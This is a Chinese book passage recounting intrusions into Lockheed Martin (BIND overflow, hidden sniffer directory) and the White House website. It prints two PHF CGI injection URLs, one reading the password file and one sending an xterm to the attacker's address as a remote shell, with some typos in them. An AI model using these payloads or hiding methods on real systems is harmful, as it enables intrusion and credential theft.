2.6、启示

neOh向我们描述了他入侵Lockheed Martin计算机系统的详细经过。这个故事既是黑客洗心革面的誓词(过去他们的格言是“如果有漏洞,我们就会攻击。”),对每个组织而言,又是一次警告。

他很快就发现Lockheed使用的是自己的域名服务器(DNS)。DNS,就是一种Internet协议,比如,将www.disney.com翻译成198.187.189.55,翻译后的地址可被用来路由发报文包。NeOh知道,波兰的一个安全研究组织已经将一个黑客称为“利用”的方式公布出来了——那是为攻击某个漏洞而特意编写的一个程序——他就可以利用这个程序来攻击Lockheed运行的DNS了。

这家公司使用的是DNS协议的一个执行程序BIND(Berkeley Internet Name Domain)。这个波兰组织发现BIND有一个版本特别容易遭受涉及远程缓冲器溢出的攻击,而Lockheed使用的正是这个版本。按照自己在网上找到的方法,neOh能够在主DNS服务器和次级DNS服务器上获得根用户权限。

获得根用户权限后,neOh通过安装一个嗅探器——就像一个计算机上的窃听装置——就开始拦截口令和电子邮件了。任何通过线路的通信都被偷偷地捕获了;黑客通常将捕获的信息存放在一个不易被察觉的地方。为了隐藏自己的嗅探器,neOh说,他创建了一个目录,上面的名字仅仅代表一个空间,用三个点来表示;他实际使用的路径是“/var/adm/…”,如果仅仅是简单的检查,系统管理员通常会忽略这个不起眼的条目。

这种隐藏嗅探程序使用的技术非常简单,虽然它在很多情况下都发挥了作用。更复杂的掩盖黑客踪迹的技术一般在这种场合下使用。

在找出自己是否能进一步渗透Lockheedd Martin以及获得该公司机密信息之前,neOh将自己注意力放到另一项任务上面去了。这时,Lockheed Martin的敏感文件还处于安全之中。

Zykoln说,为了攻击白宫网站,他一开始就安装了公共网关接口(Common Gateway Interface,CGI)扫描器的程序,可以用它来扫描目标系统,从而找出CGI的漏洞。他发现使用PHP exploit,网站很容易遭受攻击,因为可以利用开发PHP脚本的程序员的错误。

PHF是一种基于表单的界面,它接受姓名作为输入,然后在服务器上查找这个姓名及其地址。这个脚本调用escape_shell_cmd()函数,用来给输入项中所有的特殊字符合法检测。但程序设计者在他的列表中遗漏了一个字符——换行字符。有见识的黑客能够利用这个疏漏,通过输入一串包含换行字符的字符串,就能欺骗脚本去执行任何他们想要执行的命令了。

Zykoln在他的浏览器里输入了一个URL:

http://www.whitehouse.gov/cgi-bin/phf?Qalisa=x%0a/bin/cat%20/ect/passwd

用这个,他就能将白宫政府网站的口令文件显示出来。但他想完全控制白宫网站服务器。他知道这些Xserver的端口很可能被防火墙阻断了,他将不能连接到白宫政府网站的任何服务。所以,他没有使用那种方法,而是再次利用这个PHP漏洞,输入这个地址:

http://www.whitehouse.gov/cgi-bin/phf?Qalisa=x%0a/usr/x11r6/bin/xtem%20-ut%20-display%20.zyklons.ip.address:0.0

这样就使白宫服务器的X终端仿真(xterm)发送到了处于他控制下的运行X服务器的计算机上。这就意味着,他用不着自己去连接白宫政府网站,而事实上他已经在命令白宫的系统来主动连接他了(这只有当防火墙允许对外连接时,才有可能发生。而故事中显然正是这种情况)。

然后他利用了系统程序中的一个缓冲器溢出漏洞——ufsrestore。 Zyklon说,这使他能以根用户方式访问白宫政府网站,以及白宫的邮件服务器和网络上的其他系统。